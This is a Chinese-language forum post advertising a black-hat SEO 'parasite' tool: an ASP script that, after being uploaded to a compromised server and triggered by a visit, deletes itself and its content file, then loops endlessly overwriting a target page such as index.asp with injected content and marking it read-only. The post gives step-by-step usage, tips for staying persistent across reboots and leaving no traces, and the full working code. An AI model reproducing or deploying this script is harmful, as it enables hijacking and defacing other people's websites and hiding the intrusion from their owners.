Black SEO

黑帽SEO_Asp后台循环锁定文件_寄生虫,劫持必备

 

文件目录如下:

使用方法:

功能:

驻留在内存中在后台循环执行文件内容锁定命令。

程序运行后(浏览器访问触发),可以关掉浏览器、甚至删掉程序文件本身,只要服务器进程不重启,可以一直在运行。

循环锁定文件时间间隔精确到微秒(千分之一毫秒、百万分之一秒)。但是要注意的是,你设置的越小,就越占用服务器资源

用法:

1、以文本编辑器打开:lock.asp,修改需要锁定的文件路径(函数:xmb)。

2、将需要锁定的文件内容保存为:content.txt(文件名可自行修改,见函数:xnr),注意:程序读取完会删除该文件,不留痕迹!

3、可选:修改用来判断是否终止执行锁定的文件标记(函数:xjs),底下讲怎么用。

4、确认正确修改完成后,将“lock.asp”传至目标服务器,记下路径,例如:http://www.baidu.com/test/lock.asp

5、浏览器访问该路径,触发程序执行,期间浏览器会一直加载或无响应,不用管(程序已在后台执行),关掉浏览器即可。

6、提示:程序运行后会删除自身!

注意事项:

1、因为是在后台无文件、隐藏执行的,所以给了一个终止功能(防止修改锁定文件时引起冲突或其他冲突)。
用法很简单,在程序同目录新建一个文件,名字改成上边设置的“终止标记”,例如:unlock.txt
程序发现存在这个文件后,会删除该文件(如果你发现该文件不见了,那就是终止成功了)!并终止执行,不留下任何痕迹。
如果你曾多次执行过程序,那么也要进行多次解除锁定(重复放置标记文件,直到目标文件没有锁定效果)。

2、如果同时执行了多个锁定脚本(锁定目标文件路径一样,但内容不一样),或者别人也在锁定该文件,
你会发现文件内容来回变化,这是正常现象,这时候就要拼看谁锁定速度快了(祝你好运)。

3、虽然是在后台一直运行的,但有的服务器每天定时重启,所以建议你每天执行一次该程序,以保证持续锁定效果。

4、严禁外传!

核心代码如下:

 

<%
On Error Resume Next '容错处理
Server.ScriptTimeOut = 31536000 '定义脚本超时时间
'-----
Dim fso
Set fso = Server.CreateObject("Scripting.FileSystemObject")
'-----
fso.DeleteFile Server.MapPath(Request.ServerVariables("SCRIPT_NAME")), True '删除自身
'-----
Dim xjs, xmb, xrn, xnr
xjs = Server.MapPath("unlock.txt") '用来判断是否终止执行锁定(解锁)的文件标记
xmb = Server.MapPath("index.asp") '要锁定的文件路径
xrn = Server.MapPath("content.txt") '要锁定的内容
xnr = fso.OpenTextfile(xrn, 1, False).Readall '从文件中读取要锁定的内容
fso.DeleteFile xrn, True '删除“要锁定的内容”,不留痕迹
'-----
'创建一个后台执行的死循环
do
'先判断是否需要解除锁定,防止后台死循环造成各种冲突
if fso.FileExists(xjs) then
fso.DeleteFile xjs, True '删除解锁文件
exit do '终止程序
else
if Fso.FileExists(xmb) = true Then '如果目标文件存在
if LenB(fso.OpenTextfile(xmb, 1, False).Readall) <> LenB(xnr) Or Fso.GetFile(xmb).Attributes <> 5 then '对比文件内容及属性
Fso.GetFile(xmb).Attributes = 0 '还原属性
fso.OpenTextFile(xmb, 2, True).Write xnr '写入内容
Fso.GetFile(xmb).Attributes = 5 '设置属性(系统+只读)
end if
else
if Fso.FolderExists(xmb) = true then '删掉“占位目录”
Fso.DeleteFolder xmb
end if
fso.OpenTextFile(xmb, 2, True).Write xnr '写入内容
Fso.GetFile(xmb).Attributes = 5 '设置属性(系统+只读)
end if
end if
loop
%>

 

下载地址:

链接:

温馨提示:此处内容需要评论本文后才能查看。

 

密码:

温馨提示:此处内容需要评论本文后才能查看。

(2)

本文由 SAFEING 极客社区 作者:root 发表,转载请注明来源!

热评文章

评论:

1 条评论,访客:1 条,博主:0 条
  1. Aerostar сети
    Aerostar сети发布于: 

    拿走了- –

发表评论